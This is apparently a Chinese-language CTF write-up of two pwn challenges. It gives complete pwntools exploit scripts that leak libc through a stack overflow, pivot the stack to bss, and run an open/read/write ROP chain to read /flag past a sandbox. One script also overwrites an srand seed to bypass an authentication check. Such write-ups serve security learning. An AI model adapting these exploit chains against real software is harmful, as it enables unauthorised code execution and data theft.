写了强网拟态的两道pwn题,不算特别难吧,但是思路比较有意思。
signin_revenge
只开了nx,但是题目开了沙箱,还是栈题,一眼orw
题目中的漏洞函数很明显,给了0x30的溢出范围,足够用puts泄露libc,但是没有给mmap,本来是想着mmap开一块内存,但是需要的参数太多了,不好写,根据题目的提示也大概率是用栈迁移来写,所以后面还是用的栈迁移。
虽然但是,搜orw技巧的时候直接搜到原题了,那没办法了(这能忍住不用?
原题中使用lea rax,[rbp-0x100]再次调用read函数将orw的gadget写到bss+0x300这点还是挺叼的,换我来可能就直接调用read函数了(但是可能又面临着溢出的位置不够的窘境,所以此处的处理可能是必要的)。题目中还用了通用的gadget,泄露libc之后就能得到,这个我也基本忘光了(hhhh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') elf = ELF('./vuln') p = process('./vuln') libc = ELF('./libc.so.6') offset = 0x100 + 0x08 pop_rdi = 0x401393 pop_ret = 0x40101a bss = 0x404300 lea_rax = 0x4012CF puts_plt = elf.sym['puts'] puts_got = elf.got['puts'] main_addr = 0x4012F0 leave = 0x4012EE payload_leak = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.recvuntil('lets move and pwn!') p.send(payload_leak) # 泄露libc puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) libc_base = puts_real_addr - libc.sym['puts'] open_addr = libc_base + libc.sym['open'] read_addr = libc_base + libc.sym['read'] write_addr = libc_base + libc.sym['write'] # 获取open,read,write的真实地址,从libc的通用gadget处获取pop_rdx和pop_rsi pop_rdx = libc_base + 0x142c92 pop_rsi = libc_base + 0x2601f # 修改rbp为bss + 0x400,由于lea rax,[rbp-0x100]的原因,可以在bss + 0x400的位置执行read。(ps,其实直接调用read也是一样的,只是不一定写得下而已,所以这里是很巧妙的方法) payload_migration = b'a' * (offset - 0x08) + p64(bss + 0x300 + 0x100) + p64(lea_rax) # gdb.attach(p) p.recvuntil('lets move and pwn!') p.send(payload_migration) pause() # 在bss+0x300处读入orw的gadget #open(bss+0x300,0),由于栈迁移开头8个字节不能使用,此处使用了bss+0x300来指向flag字符串 payload = b'/flag\00\x00\x00' + p64(pop_rdi) + p64(bss + 0x300) + p64(pop_rsi) + p64(0) + p64(open_addr) # read(3,bss+0x300,0x100) payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss + 0x300) + p64(pop_rdx) + p64(0x100) + p64(read_addr) # write(1,bss+0x300,0x100) payload += p64(pop_rdi) + p64(1) +p64(pop_rsi) + p64(bss + 0x300) + p64(pop_rdx) + p64(0x100) + p64(write_addr) payload = payload.ljust(0x100, b'\x00') # 栈迁移,将栈迁移到bss+0x300的位置 payload += p64(bss + 0x300) + p64(leave) p.send(payload) p.interactive()
signin 比signin_revenge难(太抽象了
看上去是一道堆题,其实还是栈题,仔细观察可以发现存在一个后门函数o_O,就是上一题中的vuln函数,故可以借用上题脚本。但是在此之外又增加了auth鉴权函数,好在其中也存在栈溢出,可以通过溢出修改srand(seed)中的seed,此处修改为了0x11111111,再调用c中的rand函数就可以计算出固定的随机数,转为字节之后即可绕过auth函数。进入add函数中的o_O函数之后,打上题脚本读取到flag。注意对gadget进行修改,不然就会报错,毕竟是两个不同的程序。
感觉这道题最恶心的点是read完没有对数据进行处理,转为整型,导致我看着正确的字符串输入和错误的auth返回看了半天,太抽象了,全得改成字节输入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import ctypes import random from pwn import * # 加载 C 标准库 libc = ctypes.CDLL("./libc.so.6") # 定义 srand 函数的参数类型 libc.srand.argtypes = [ctypes.c_uint] # 设置随机数种子 seed = 0x11111111 libc.srand(seed) # 生成 100 个随机数 random_numbers = [libc.rand()%100+1 for _ in range(100)] # 打印生成的随机数 #for i, number in enumerate(random_numbers): # print(f"Random number {i + 1}: {number}") context(arch = 'amd64',os = 'linux',log_level = 'debug') p = remote('ip','port') #p = process('./vuln') elf = ELF('./vuln') #p = gdb.debug('./vuln','b *0x4013c0') libc = ELF('./libc.so.6') offset = 0x100 + 0x08 pop_rdi = 0x401893 pop_ret = 0x40101a bss = 0x404300 lea_rax = 0x4013CF puts_plt = elf.sym['puts'] puts_got = elf.got['puts'] main_addr = 0x4013C0 leave = 0x4013EE p.send(0x8*b'a'+(0x12-0x8)*b'\x11') for i in range(100): p.sendafter('Input the authentication code:',random_numbers[i].to_bytes(1, 'big')) p.sendafter('>> ',b'\x01') p.sendafter('Index: ',b'\x01') p.sendafter('Note: ',b'\x01') payload_leak = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) #p.recvuntil('lets move and pwn!') p.send(payload_leak) puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) libc_base = puts_real_addr - libc.sym['puts'] open_addr = libc_base + libc.sym['open'] read_addr = libc_base + libc.sym['read'] write_addr = libc_base + libc.sym['write'] pop_rdx = libc_base + 0x142c92 pop_rsi = libc_base + 0x2601f payload_migration = b'a' * (offset - 0x08) + p64(bss + 0x300 + 0x100) + p64(lea_rax) # gdb.attach(p) #p.recvuntil('lets move and pwn!') p.send(payload_migration) pause() payload = b'/flag\00\x00\x00' + p64(pop_rdi) + p64(bss + 0x300) + p64(pop_rsi) + p64(0) + p64(open_addr) payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss + 0x300) + p64(pop_rdx) + p64(0x100) + p64(read_addr) payload += p64(pop_rdi) + p64(1) +p64(pop_rsi) + p64(bss + 0x300) + p64(pop_rdx) + p64(0x100) + p64(write_addr) payload = payload.ljust(0x100, b'\x00') payload += p64(bss + 0x300) + p64(leave) p.send(payload) p.interactive()